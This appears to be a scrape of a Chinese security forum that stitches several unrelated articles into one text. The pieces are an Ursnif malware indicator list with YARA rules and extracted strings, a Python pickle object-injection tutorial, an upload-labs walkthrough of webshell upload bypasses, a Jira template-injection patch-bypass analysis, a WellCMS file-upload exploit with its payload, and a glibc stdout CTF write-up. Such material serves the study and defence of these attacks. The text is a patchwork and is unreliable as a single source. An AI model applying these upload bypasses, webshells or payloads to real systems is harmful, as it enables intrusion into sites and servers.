* 2a5319491b4f025078c2a66806dc27f905a43bfc0fd74d4fa871974616a40ee1
* f4a8e0a0a0fda9410c783d5a78ab233432c015fe7017617c3bdbbc4ac2b72fd2
* 7f4996c29d6a9359f54e2afc4fa688aec4c916b27481d62c07a2dbab47f935a4
* b94d0b867b709a5473082168c85cab6e8048ee54c2926c91ca33707b96507fa9
* abb8a8351bb83037db94cd2bb98a8f697260f32306c21a2198c6b7f1a3bd1957
* dd4c52b299b25f1ad217fb4f9a66a915abb79888f9c6553a64949731ad92b4fb
* d89b3415ecc212780144cb3f74c6fea8752052c8d469debf7c12864afd1cd277
* dd377e2673e1f6d070272c9fbb2a63445038c710f7b83c1d8c227050c47a78d1
* 061281bcc63295597216a68eeceb8355b18de9e15768af48e62a9cf413d0ca37
* v2547089727a628ce940ab18554bde85121810cee55857089fd5914b9d972870f
* 5ce8d23dec401142cd35a00ea8d23eedaa64a6f7a08cadbc11c22559d5bdd4bf
* f075570279ac63d38b7933122c1baf82d1ae2151b0accd199f7b56ac93ae9808
* 8578d4261fbe0b899cb57f2c346c0961f3d44a046366d1fb0b453ce821437ab1
* 16b733db9fc27525d11f69457539b92f4ffc7b220ef2d6769705950626461be5
* 6c55e9f85a7cd1232ec94ae9c31f3b0fb2fa597ebad5a5c19e4a5d15fc9e14e0
#### Dropurl
* http[://images2[.imgbox[.com/d8/0e/eyGVup7s_o[.png
* https[://newupdatindef[.info////////……….[.exe
* http[s://i.postimg[.cc/mbBH51RX/cry[.png?dl=1
#### C2
* filomilalno[.club
* fileneopolo[.online
* reziki[.online
* reziki[.xyz
## Yara Rules
import "pe"
rule Ursnif_Excel_Dropper_1905 {
meta:
description = "Yara Rule for Excel Ursnif Dopper of the campaign of End of May 2019"
author = "Cybaze - Yoroi ZLab"
last_updated = "2019-06-04"
tlp = "white"
category = "informational"
strings:
$s1 = "TvZjuM4ku8L7D"
$s2 = "dhgfdd5d6udujdhg9"
$a1 = { 6F 6C 65 3E 02 19 00 73 00 74 00 64 00 6F 00 80 }
condition:
all of them
}
rule Ursnif_Loader_1905 {
meta:
description = "Yara Rule for Ursnif Loader of the campaign of End of May 2019"
author = "Cybaze - Yoroi ZLab"
last_updated = "2019-06-04"
tlp = "white"
category = "informational"
strings:
$s1 = ">rdP/dfn"
$s2 = "c:\team\let\Require\livebottom.pdb"
$a1={ E9 5D 3C CD 49 DC 51 C8 }
condition:
all of them
}
rule Ursnif_Malicious_DLL_1905 {
meta:
description = "Yara Rule for Ursnif Loader of the campaign of End of May 2019"
author = "Cybaze - Yoroi ZLab"
last_updated = "2019-06-04"
tlp = "white"
category = "informational"
strings:
$s1 = "GET t'=PUT t =POSTt"
$s2 = "xul.dll"
$s3 = "CHROME_CHILD.DLL"
condition:
uint16(0) == 0x5A4D and all of them
}
### strings
May 26 2019
CHROME.DLL
soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x
version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
&ip=%s
&os=%s
%u.%u_%u_%u_x%u
&tor=1
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)
http://
https://
file://
USER.ID
%lu.exe
/upd %lu
SoftwareAppDataLowSoftwareMicrosoft
Main
Block
Temp
Client
Ini
Keys
Scr
Kill
LastTask
LastConfig
CrHook
OpHook
Exec
.onion
TorClient
TorCrc
%s %s HTTP/1.1
Host: %s
User-Agent: %s
Connection: close;
Content-length: %u
http://constitution.org/usdeclar.txt
C:Program FilesInternet Exploreriexplore.exe
SoftwareMicrosoftWindowsCurrentVersionRun
SystemCurrentControlSetControlSession ManagerAppCertDlls
{%08X-%04X-%04X-%04X-%08X%04X}
%08X-%04X-%04X-%04X-%08X%04X
S:(ML;;NW;;;LW)D:(A;;0x1fffff;;;WD)(A;;0x1fffff;;;S-1-15-2-1)
open
%lu.bat
attrib -r -s -h %%1
:%u
del %%1
if exist %%1 goto %u
del %%0
Vars
Files
Config
Run
/data.php?version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
/UPD
/SD
/sd %lu
SoftwareMicrosoftWindowsCurrentVersion
SOFTWAREMicrosoftWindowsCurrentVersionInternet Settings
NSPR4.DLL
NSS3.DLL
%APPDATA%MozillaFirefoxProfiles
EnableSPDY3_0
MacromediaFlash Player
cookies.sqlite
OPERA.EXE
cookies.sqlite-journal
EMPTY
Cmd %s processed: %u
| "%s" | %u
Cmd %u parsing: %u
PR_Read
PR_Write
PR_Close
.set MaxDiskSize=0
.set DiskDirectory1="%s"
.set CabinetName1="%s"
.set DestinationDir="%S"
"%s"
setup.inf
setup.rpt
makecab.exe /F "%s"
cmd /C "%s> %s1"
systeminfo.exe
tasklist.exe /SVC >
driverquery.exe >
reg.exe query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall" /s >
cmd /U /C "type %s1 > %s & del %s1"
net view >
nslookup 127.0.0.1 >
echo -------- >
nslookup myip.opendns.com resolver1.opendns.com
Main
Blocked
user_pref("network.http.spdy.enabled", false);
prefs.js
%s=%s&
/images/
.avi
HTTPMail
SMTP
POP3
IMAP
none
WABOpen
SoftwareMicrosoftWindows Mail
SoftwareMicrosoftWindows Live Mail
Store Root
Salt
account{*}.oeaccount
Server
User_Name
Password2
Port
Secure_Connection
type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
NSS_Init
hostname
type=%S, name=%s, address=%s, server=%s, port=%u, ssl=%s, user=%s, password=%s
NSS_Shutdown
mail
MessageAccount
PK11_FreeSlot
Account_Name
PK11_Authenticate
SMTP_Email_Address
encryptedUsername
%S_%S
encryptedPassword
Email
EmailAddressCollection/EmailAddress[%u]/Address
SoftwareMicrosoftOffice15.0OutlookProfilesOutlook
&uptime=%u
SoftwareMicrosoftWindows NTCurrentVersionWindows Messaging SubsystemProfilesOutlook
Client32
Client64
SoftwareMicrosoftOffice16.0OutlookProfilesOutlook
%systemroot%syswow64cmd.exe
Account Name
/C pause dll
.gif
IMAP Server
IMAP Port
IMAP User
IMAP Password
IMAP Use SSL
.jpeg
POP3 User
POP3 Server
POP3 Port
POP3 Password
POP3 Use SSL
.bmp
.avi
SMTP User
SMTP Server
SMTP Port
SMTP Password
SMTP Use SSL
ICGetInfo
A8000A
ICSendMessage
1.0
nss3.dll
PK11_GetInternalKeySlot
PK11SDR_Decrypt
%systemroot%system32c_1252.nls
%PROGRAMFILES%Mozilla Thunderbird
%USERPROFILE%AppDataRoamingThunderbirdProfiles*.default
logins.json
%S %S, %S, %S
%c%02X
SOFTWAREMicrosoftWindows NTCurrentVersion
InstallDate
\.%s
rundll32
msvfw32
ICOpen
ICClose
ICInfo
rundll32 "%s",%S
DllRegisterServer
IsWow64Process
Wow64EnableWow64FsRedirection
D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)
%userprofile%AppDataLocalGoogleChromeUser DataDefaultcache
%userprofile%AppDataLocalMozillaFirefoxProfiles | 社区文章 |
# 【技术分享】看我如何进行Python对象注入利用
|
##### 译文声明
本文是翻译文章，文章来源：defencely.com
原文地址：<http://defencely.com/blog/defencely-clarifies-python-object-injection-exploitation/ >
译文仅供参考，具体内容表达以及含义原文为准。
译者：[天鸽](http://bobao.360.cn/member/contribute?uid=145812086)
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**简介**
在今天的 Defencely Lab 中，我们将详细介绍和演示 Python 对象注入攻击（Python Object
Injection）的细节。整个演示将使用我们专门编写的易受攻击的应用程序和漏洞，源码可以在这里找到 – [Github – Python Object
Injection](https://github.com/rony-das/Vulnerable_Apps/tree/master/Python_Object_Injection)。
**需要的基础知识**
****
了解基本的 OOP 概念
**Python 类和对象简介**
****
**什么是类？**
类是一个模板，你可以在其中存储变量和方法。
**什么是对象？**
对象可以是任何东西，一个类的实例，一个变量或者一个类中的函数。
让我们来看一个实际的例子：
在这里，你可以看到我们创建了一个名为 Test 的类实例，并将它分配给了一个名为 simpleapp 的变量，将变量 rony 的值传递给了该实例。
输出如下：
simpleapp = Test(rony)
当执行此代码时，python 会创建一个对象，然后将我们的值传递给第一个参数。每当 python 创建一个对象时，__init__
函数就会被调用。__init__ 像 python 中的构造函数一样工作。
伴随着我们的输出，打印出了一个随机的数字，这是因为我们直接打印出了实例分配的变量，以显示 python 是如何对待一个对象的。
**什么是对象注入？**
对象注入是一种应用程序级的安全漏洞， **它允许攻击者根据上下文执行严重的攻击** 。
Python 专门将某原生模块命名为“Pickle”，它在特定情况下容易受到对象注入攻击。
危险发生在 **当用户控制的数据被传递时** ，Python 已经在其官方文档中指出 pickle 是一个存在风险的模块。
我们可以将“Pickle”模块与 PHP 中的 serialize/unserialize() 原生函数进行比较，当存在用户输入时该 PHP
函数也容易受到对象注入攻击。
在 Python 中，与 PHP 不同的是，我们不需要一个魔术方法作为注入到对象的条件。
在 python 中进行序列化和反序列化仅仅是对数据的 **Pickling** 和 **Unpickling** 。
除非用户输入的数据被传递到 Unpickling 的过程中，否则，Python 中数据的 Unpickling 并不一定是危险的。
下面是 Python 中 Pickled 和 Unpickled 的数据的样子：
**检测对象注入攻击**
要实现对象注入，你必须在应用程序上执行一个白盒 Pentest。因为每当你在复杂对象上 pickling 时，Python
中的序列化数据都会带有类名、变量和值。
Pickle 模块提供了四种简单和快速 pickling 和 unpickling 的方法。
**dump()**
**dumps()**
**load()**
**loads()**
您可以在[ Python
官方文档](https://docs.python.org/2/library/pickle.html#usage)中找到它们各自的功能。
正如我已经提到的，Unpickling 数据并不一定是危险的，但如果你是在后端处理，那么 pickling 和 unpickling
用户输入的数据就是危险的。永远不要相信用户的输入。
如果所提供的数据是由用户控制的，那么很明显会被篡改。
因此，如果你看到 pickled 的数据正在通过 HTTP 方法传输，则可能存在对象注入。
**了解易受攻击应用程序的工作流**
文件名：pickle.py
我们将研究上述代码，并据此实现一个对象注入。
忽略上面代码上写的所有内容，让我们集中精力在三件事情上。
**在这里，arg 变量是用户的输入。**
**类 simpleApp 中的 final_workout() 方法将运行一个 python 文件。**
**app.secureaApp() 方法用于 unpickling 输入的数据。**
现在，让我们更深入地了解这些方法正在扮演的角色。
simpleApp() 类中的 secureApp() 方法：
我假设你已经阅读了 Python 的官方文档，并且知道了这篇文章使用的所有方法的输入输出。
方法：
**dump()**
**dumps()**
**load()**
**loads()**
secureApp() 方法所做的是将文件名作为参数。使用 pickle 模块的 load() 方法 Unpickling 文件中的数据，并将
unpickled 的数据赋予变量 workDone。之后该变量会作为 final_workout() 方法的参数。
我们看看 final_workout() 方法的内容。
simpleApp() 类中的 final_workout() 方法：
该方法创建一个名为 code.py 的 python 文件，将 unpickled 的数据写入文件并运行它。
我们来看看，当使用已经生成的序列化数据来运行易受攻击的应用程序 pickle.py 时，会发生什么。
正如我们看到的，它打印出了序列化数据的内容，并成功运行，打印出字符串。
下面我们将学习怎样构造自己的序列化数据，以在相同的应用程序上成功地进行对象注入。
**编写漏洞利用**
现在我们知道 pickle.py 正在使用序列化的数据，因此，我们将使用 dumps() 方法 pickle 我们构造的 payload。
文件名：exploit_pickle.py
我们将序列化一条包含了编码后系统命令的代码, 并在它工作时对其进行测试。
现在我们就成功地注入了自己精心构造的代码。 | 社区文章 |
Upload-labs是一个帮你总结所有类型的上传漏洞的靶场，包括常见的文件上传漏洞：
项目地址：<https://github.com/c0ny1/upload-labs>
## 运行环境
操作系统：windows、Linux
php版本：推荐5.2.17(其他版本可能会导致部分Pass无法突破)
php组件：php_gd2,php_exif（部分Pass需要开启这两个组件）
apache：以moudel方式连接
## 第一关
直接上传php木马，发现前端报错：
尝试前端绕过，在前端js判断函数中加上可以上传php文件：
即可上传成功：
访问：
## 第二关
查看源代码：
发现仅仅判断content-type，于是修改content-type绕过：
上传成功：
## 第三关
查看源代码：
发现是黑名单判断，于是尝试用php3,phtml绕过
成功上传：
## 第四关
查看源代码：
虽然还是黑名单，但几乎过滤了所有有问题的后缀名，除了.htaccess，于是首先上传一个.htaccess内容如下的文件:
SetHandler application/x-httpd-php
这样所有文件都会解析为php，然后再上传图片马，就可以解析：
访问：
## 第五关
查看源代码：
还是黑名单，加上了.htaccess，但是没有将后缀进行大小写统一，于是可以通过大小写绕过：
访问：
## 第六关
查看源代码：
还是黑名单，但是没有对后缀名进行去空处理，可在后缀名中加空绕过：
访问：
## 第七关
查看源代码：
还是黑名单，但是没有对后缀名进行去”.”处理，利用windows特性，会自动去掉后缀名中最后的”.”，可在后缀名中加”.”绕过：
访问：
## 第八关
查看源代码：
还是黑名单，但是没有对后缀名进行去”::$DATA”处理，利用windows特性，可在后缀名中加” ::$DATA”绕过：
访问：
## 第九关
查看代码：
黑名单过滤，注意第15行和之前不太一样，路径拼接的是处理后的文件名，于是构造info.php. .
（点+空格+点），经过处理后，文件名变成info.php.，即可绕过。
访问：
## 第十关
查看源代码：
依旧是黑名单过滤，注意到，这里是将问题后缀名替换为空，于是可以利用双写绕过：
访问：
## 第十一关
查看代码：
看到是白名单判断，但是$img_path直接拼接，因此可以利用%00截断绕过：
访问：
## 第十二关
查看代码：
和十一关不同的是这次的save_path是通过post传进来的，还是利用00截断，但这次需要在二进制中进行修改，因为post不会像get对%00进行自动解码。
访问：
## 第十三关
本关要求上传图片马即可，查看代码：
通过读文件的前2个字节判断文件类型，因此直接上传图片马即可，制作方法：
copy normal.jpg /b + shell.php /a webshell.jpg
上传图片马
成功绕过：
接下来利用的话，还需要结合文件包含漏洞。
## 第十四关
本关还是要上传一个图片马，查看代码：
这里用getimagesize获取文件类型，还是直接就可以利用图片马就可进行绕过：
## 第十五关
本关还是要上传一个图片马，查看代码：
这里用到php_exif模块来判断文件类型，还是直接就可以利用图片马就可进行绕过：
## 第十六关
本关还是要上传一个图片马，查看代码：
本关综合判断了后缀名、content-type，以及利用imagecreatefromgif判断是否为gif图片，最后再做了一次二次渲染，绕过方法：
成功上传：
## 第十七关
本关考察的是条件竞争，查看代码：
这里先将文件上传到服务器，然后通过rename修改名称，再通过unlink删除文件，因此可以通过条件竞争的方式在unlink之前，访问webshell。
首先在burp中不断发送上传webshell的数据包：
然后不断在浏览器中访问，发现通过竞争可以访问到：
## 第十八关
本关需要上传图片马，查看代码
本关对文件后缀名做了白名单判断，然后会一步一步检查文件大小、文件是否存在等等，将文件上传后，对文件重新命名，同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包，由于条件竞争，程序会出现来不及rename的问题，从而上传成功：
## 第十九关
本关考察CVE-2015-2348 move_uploaded_file() 00截断，上传webshell，同时自定义保存名称，直接保存为php是不行的
查看代码：
发现move_uploaded_file()函数中的img_path是由post参数save_name控制的，因此可以在save_name利用00截断绕过： | 社区文章 |
**作者： 且听安全
原文链接：<https://mp.weixin.qq.com/s/XDX5eq3UE51_yLo0Q4wZ0g>**
## 漏洞信息
近日，Atlassian官方发布了一则Atlassian Jira Server RCE的漏洞公告：
漏洞编号为CVE-2021-43947。从官方描述来看，属于CVE-2021-39115补丁绕过。CVE-2021-39115漏洞的复现过程可以参考公众号文章：
> CVE-2021-39115
>
> 公众号：且听安全[CVE-2021-39115-Atlassian Jira Service Management Server
> SSTI漏洞分析](https://mp.weixin.qq.com/s?__biz=Mzg3MTU0MjkwNw==&mid=2247483682&idx=1&sn=b6d6299795235c39a86dc8e2a1914cc2&chksm=cefdb836f98a3120346feb343efc15de64df15c3358461fab99a9789e86fbd11d4a6f9b4deba&token=1141420492&lang=zh_CN#rd)
## 漏洞分析
安装完毕后，修改`/bin/setenv.bat`文件，加入调试信息：
set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8787
重新启动后打开远程调试。
start-jira.bat /fg
既然这个漏洞是补丁绕过，我们首先做下补丁对比。Atlassian Jira Server通过黑名单方式修复Velocity
SSTI漏洞，查看`velocity.properties`配置文件，对比发现新增了几个黑名单类：
新增了黑名单类如下：
webwork.util.ValueStack,\
javax.el.ELProcessor,\
javax.script.ScriptEngineManager,\
java.lang.ProcessBuilder,\
javax.el.ImportHandler,\
javax.el.ELManager
看到这几个熟悉的类，有经验的小伙伴大概能够猜到如何实现绕过了。因为上一篇Atlassian Jira
Server漏洞没有进行分析，本文还是从代码审计的角度简要分析下漏洞触发流程。
查看`web.xml`:
一步一步跟调用栈非常长，既然问题出在邮件处理部分，直接定位`com.atlassian.jira.web.action.admin.mail.SendBulkMail#doExecute`：
往下走，进入`com.atlassian.jira.mail.builder.EmailRenderer#renderEmailSubject`：
模板渲染在`org.apache.velocity.app.VelocityEngine#evaluate`处完成：
为了方便bypass黑名单，我们可以编写测试代码，在断点处构造不同模板逐步实现绕过：
这样处理主要是为了方便进行漏洞调试分析。结合新增加的黑名单，应该很容易构造出绕过姿势。感兴趣的小伙伴可以按照上面的方法自行进行研究，有需要的可以关注公众号后私聊。
## 漏洞复现
复现过程可以参考以前分享的漏洞CVE-2021-39115：
> CVE-2021-39115
>
> 公众号：且听安全[CVE-2021-39115-Atlassian Jira Service Management Server
> SSTI漏洞分析](https://mp.weixin.qq.com/s?__biz=Mzg3MTU0MjkwNw==&mid=2247483682&idx=1&sn=b6d6299795235c39a86dc8e2a1914cc2&chksm=cefdb836f98a3120346feb343efc15de64df15c3358461fab99a9789e86fbd11d4a6f9b4deba&token=1141420492&lang=zh_CN#rd)
* * * | 社区文章 |
# 一、概述
WellCMS是一款开源、倾向移动端的轻量级CMS，高负载CMS，亿万级CMS，是大数据量、高并发访问网站最佳选择的轻CMS。登陆该CMS后台，某图片上传处，由于上传文件类型可控，可修改上传文件类型获取webshell。
# 二、复现
这个漏洞来自一次偶然的测试，一次幸运的测试，那就直接写出我的测试过程。
第一步，登陆该CMS后台：
第二步，进入“后台管理“，定位利用点，点击下图红框中图片进行上传：
上传并抓取数据包：
第三步，修改post包中“filetype”参数类型为“php”；经分析 “data”参数为base64加密，这里我们将测试数据“<?php
phpinfo();?>”经过base64加密等构造，形成“data”参数的数据：data%3Aimage%2Fjpeg%3Bbase64%2CPD9waHAgcGhwaW5mbygpOz8%2B，最后数据包放行，返回成功上传为php文件的路径：
最后，尝试访问，成功：
# 三、大致分析
根据漏洞定位代码文件：route/attach.php，代码如下：
if ($action == 'create') {
// hook attach_create_start.php
user_login_check();
// hook attach_create_check_after.php
$backstage = param(2, 0);
$width = param('width', 0);
$height = param('height', 0);
$is_image = param('is_image', 0); // 图片
$name = param('name');
$data = param_base64('data');
$mode = param('mode', 0); // 上传类型 1主图
$filetype = param('filetype'); // 压缩图片后缀jpeg jpg png等
$convert = param('convert', 0); // 图片转换压缩 = 1
$n = param('n', 0); // 对应主图赋值
$type = param('type', 0); // type = 0则按照SESSION数组附件数量统计，type = 1则按照传入的n数值
// hook attach_create_before.php
// 允许的文件后缀名
//$types = include _include(APP_PATH.'conf/attach.conf.php');
//$allowtypes = $types['all'];
empty($group['allowattach']) AND $gid != 1 AND message(2, '您无权上传');
// hook attach_create_center.php
empty($data) AND message(1, lang('data_is_empty'));
//$data = base64_decode_file_data($data);
$size = strlen($data);
$size > 20480000 AND message(1, lang('filesize_too_large', array('maxsize' => '20M', 'size' => $size)));
// hook attach_create_file_ext_start.php
// 获取文件后缀名 111.php.shtmll
$ext = file_ext($name, 7);
$filetypes = include APP_PATH . 'conf/attach.conf.php';
// hook attach_create_file_ext_before.php
//主图必须为图片
if ($is_image == 1 && $mode == 1 && !in_array($ext, $filetypes['image'])) message(1, lang('well_up_picture_error'));
// hook attach_create_file_ext_center.php
// 如果文件后缀不在规定范围内 改变后缀名
//!in_array($ext, $filetypes['all']) AND $ext = '_' . $ext;
if (!in_array($ext, $filetypes['all'])) {
$ext = '_' . $ext;
} else {
// CMS上传图片
$t == 1 AND $convert == 1 AND $is_image == 1 AND $ext = $filetype;
}
// hook attach_create_file_ext_after.php
$tmpanme = $uid . '_' . xn_rand(15) . '.' . $ext;
// hook attach_create_tmpanme_after.php
$tmpfile = $conf['upload_path'] . 'tmp/' . $tmpanme;
// hook attach_create_tmpfile_after.php
$tmpurl = $conf['upload_url'] . 'tmp/' . $tmpanme;
// hook attach_create_tmpurl_after.php
$filetype = attach_type($name, $filetypes);
// hook attach_create_save_before.php
file_put_contents($tmpfile, $data) OR message(1, lang('write_to_file_failed'));
// hook attach_create_save_after.php
// 保存到 session，发帖成功以后，关联到帖子。
// save attach information to session, associate to post after create thread.
// 抛弃之前的 $_SESSION 数据，重新启动 session，降低 session 并发写入的问题
// Discard the previous $_SESSION data, restart the session, reduce the problem of concurrent session write
sess_restart();
empty($t) AND empty($_SESSION['tmp_files']) AND $_SESSION['tmp_files'] = array();
$t == 1 AND empty($_SESSION['tmp_website_files']) AND $_SESSION['tmp_website_files'] = array();
// hook attach_create_after.php
// type = 0则按照SESSION数组附件数量统计，type = 1则按照传入的n数值
empty($type) AND $n = ($t == 1) ? count($_SESSION['tmp_website_files']) : count($_SESSION['tmp_files']);
$filesize = filesize($tmpfile);
$attach = array(
'backstage' => $backstage, // 0前台 1后台
'url' => $backstage ? '../' . $tmpurl : '' . $tmpurl,
'path' => $tmpfile,
'orgfilename' => $name,
'filetype' => $filetype,
'filesize' => $filesize,
'width' => $width,
'height' => $height,
'isimage' => $is_image,
'downloads' => 0,
'aid' => '_' . $n
);
// hook attach_create_array_after.php
if ($mode == 1) {
// hook attach_create_thumbnail_beofre.php
$_SESSION['tmp_thumbnail'] = $attach;
// hook attach_create_thumbnail_after.php
} else {
// hook attach_create_website_files_beofre.php
// 0 BBS 1 CMS
$t == 1 ? $_SESSION['tmp_website_files'][$n] = $attach : $_SESSION['tmp_files'][$n] = $attach;
// hook attach_create_website_files_after.php
}
// hook attach_create_session_after.php
unset($attach['path']);
// hook attach_create_end.php
message(0, $attach);
}
大致流程：
1、 首先，接受相关参数，将filetype自行设置成“php”：
$data = param_base64('data');
$filetype = param('filetype'); /
2、 进行逻辑判断：
if (!in_array($ext, $filetypes['all'])) {
$ext = '_' . $ext;
} else {
// CMS上传图片
$t == 1 AND $convert == 1 AND $is_image == 1 AND $ext = $filetype;
}
3、 最后成功写入：
$tmpanme = $uid . '_' . xn_rand(15) . '.' . $ext;
// hook attach_create_tmpanme_after.php
$tmpfile = $conf['upload_path'] . 'tmp/' . $tmpanme;
// hook attach_create_tmpfile_after.php
$tmpurl = $conf['upload_url'] . 'tmp/' . $tmpanme;
// hook attach_create_tmpurl_after.php
$filetype = attach_type($name, $filetypes);
// hook attach_create_save_before.php
file_put_contents($tmpfile, $data) OR message(1, lang('write_to_file_failed')); | 社区文章 |
# 智仁杯2020 pwn corporate_slave
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 保护
## 程序分析
只有一个Add功能
read_sz可以很大，从而造成00任意写
## 思路
刚入手想的是从堆溢出的角度来解题，但是由于只有一个calloc，太难了
换一种思路当申请的chunk很大时ptmalloc会直接使用mmap，而所有mmap区域的偏移是固定的
因此可以申请一个mmap chunk，然后依次为跳板让00直接打到libc上面
### puts源码分析
当题目没有show功能时为了泄露地址，我们可以直接打stdout，下面分析下puts的源码
ioputs.c：_IO_puts()
stdout使用的虚表为_IO_file_jumps，因此会转入_IO_file_xsputn()函数
fileops.c: IO_file_xsputn()
__IO_size_t _IO_new_file_xsputn(_IO_FILE *f, const void *data, _IO_size_t n) //puts调用的函数
{
const char *s = (const char *)data;
_IO_size_t to_do = n; //要输出的字符
int must_flush = 0; //是否一定要刷新
_IO_size_t count = 0; //可以被缓冲的长度
if (n <= 0)
return 0;
/* 判断是否需要缓冲 */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) //如果是行缓冲并且是put模式
{
count = f->_IO_buf_end - f->_IO_write_ptr; //剩余的缓冲区空间
if (count >= n) //如果空间足够，那就看看要不要刷新，如果还不要刷新，那就这次输出就缓冲起来，不调用write
{
const char *p;
for (p = s + n; p > s;) //从后往前遍历，看有无\n
{
if (*--p == '\n') //如果有\n，那么就必须要刷新，否则就可以被缓冲
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* 尝试保存到缓冲区 */
if (count > 0) //如果count>0，那就可以缓冲
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy(f->_IO_write_ptr, s, count); //保存到输出缓冲区
s += count;
to_do -= count; //还需要输出的
}
/* 缓冲区无能为力时 */
if (to_do + must_flush > 0) //如果还需要输出，或者在行缓冲的情况下有\n，那就必须刷新
{
_IO_size_t block_size, do_write;
/* 刷新缓冲区，自此缓冲区为空 */
if (_IO_OVERFLOW(f, EOF) == EOF)
return to_do == 0 ? EOF : n - to_do;
/* 以一个缓冲区为一个block */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0); //do_write向block_size对齐，setvbuf(stdout, NULL)的话，block_size=1，因此do_write = to_do
if (do_write)
{
count = new_do_write(f, s, do_write); //因为要输出的内容已经比一个缓冲区还大了，没必要再缓冲，因此直接调用new_do_write输出
to_do -= count;
if (count < do_write)
return n - to_do;
}
if (to_do) //剩下的直接放入缓冲区
to_do -= _IO_default_xsputn(f, s + do_write, to_do);
}
return n - to_do;
}
libc_hidden_ver(_IO_new_file_xsputn, _IO_file_xsputn)
由于程序开头已经setvbuf(stdout,
nul)，因此stdout实际上使用的是FILE结构体内部只有1B长度的缓冲区，因此puts会直接进入43行缓冲区无力的处理逻辑
所以xsputn实际上调用了一个_IO_OVERFLOW()，然后调用了一次new_do_write
* _IO_OVERFLOW()为一个宏，展开后调用虚表中的overflow函数，最后转入fileops.c: _IO_new_file_overflow()
int _IO_new_file_overflow(_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* 如果这个流不能写入，那么就无法调用overflow */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno(EBADF);
return EOF;
}
/* 如果当前是read模式，或者没有分配缓冲区，那么就会进行模式转换，或者重新分配缓冲区，一般很少进入这个逻辑*/
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
//...可忽略
}
if (ch == EOF) //因为ch==EOF，因此会直接调用_IO_do_write()输出原来的内容
return _IO_do_write(f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end) /* Buffer is really full */
if (_IO_do_flush(f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write(f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char)ch;
}
libc_hidden_ver(_IO_new_file_overflow, _IO_file_overflow)
* fileops.c : _IO_do_write()，其实就是new_do_write()套了一层皮而已
int _IO_new_do_write(_IO_FILE *fp, const char *data, _IO_size_t to_do) //转入new_do_write()
{
return (to_do == 0 || (_IO_size_t)new_do_write(fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver(_IO_new_do_write, _IO_do_write)
到此我们可以发现puts函数实际上可以简化为三个函数调用：
1. 调用_IO_new_file_overflow()刷新原有内容，这个又相当于调用了_IO_do_write(f, f->_IO_write_base, f->_IO_write_ptr – f->_IO_write_base)，而_IO_do_write()就是new_do_write()的套皮
2. 输出现在要输出的new_do_write(f, s, do_write);
3. 输出一个\n，这个可以不关注
因此，puts函数的重点落入了`new_do_write()`函数
* fileops.c : new_do_write()
//把to_do Byutes的数据data写入fp->fd，然后标志fp缓冲区为空
static _IO_size_t new_do_write(_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
//由于文件流可以读写切换，因此向OS写入前要先保证与OS同步
if (fp->_flags & _IO_IS_APPENDING) //如果是APPEND模式，就不需要调整OS中的文件指针
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base) //如果不是APPEND模式，并且写入的位置并不是读取的默认，这时候就需要调整了
{ //因为无论读写，OS内部都只有一个文件指针，缓冲机制要与之同步
_IO_off64_t new_pos = _IO_SYSSEEK(fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE(fp, data, to_do); //宏展开进入_IO_new_file_write()函数，就相当于write(f->_fileno, data, to_do)
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column(fp->_cur_column - 1, data, count) + 1;
//设置读缓冲区
_IO_setg(fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
//设置写缓冲区
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base
: fp->_IO_buf_end);
return count;
}
至此我们已经看到了心心念念的write函数：_IO_SYSWRITE(fp, data, to_do)
我们知道_IO_OVERFLOW()就相当于：`_IO_do_write(f, f->_IO_write_base, f->_IO_write_ptr -f->_IO_write_base)`
因此只要能覆盖_IO_write_base的最低字节，就可以泄露libc地址
但是在new_do_write()调用_IO_SYSWRITE(fp, data,
to_do)之前有一个读写同步操作，我们要避免引起错误，这里有两种绕过方式：
1. 满足fp->_flags & _IO_IS_APPENDING，即_flag中有至少要有0xFBAD1800这么多bit
2. 另fp->_IO_read_end == fp->_IO_write_base表示我不需要同步
### 泄露libc
由于本题只能任意写00，因此采用第二种方法
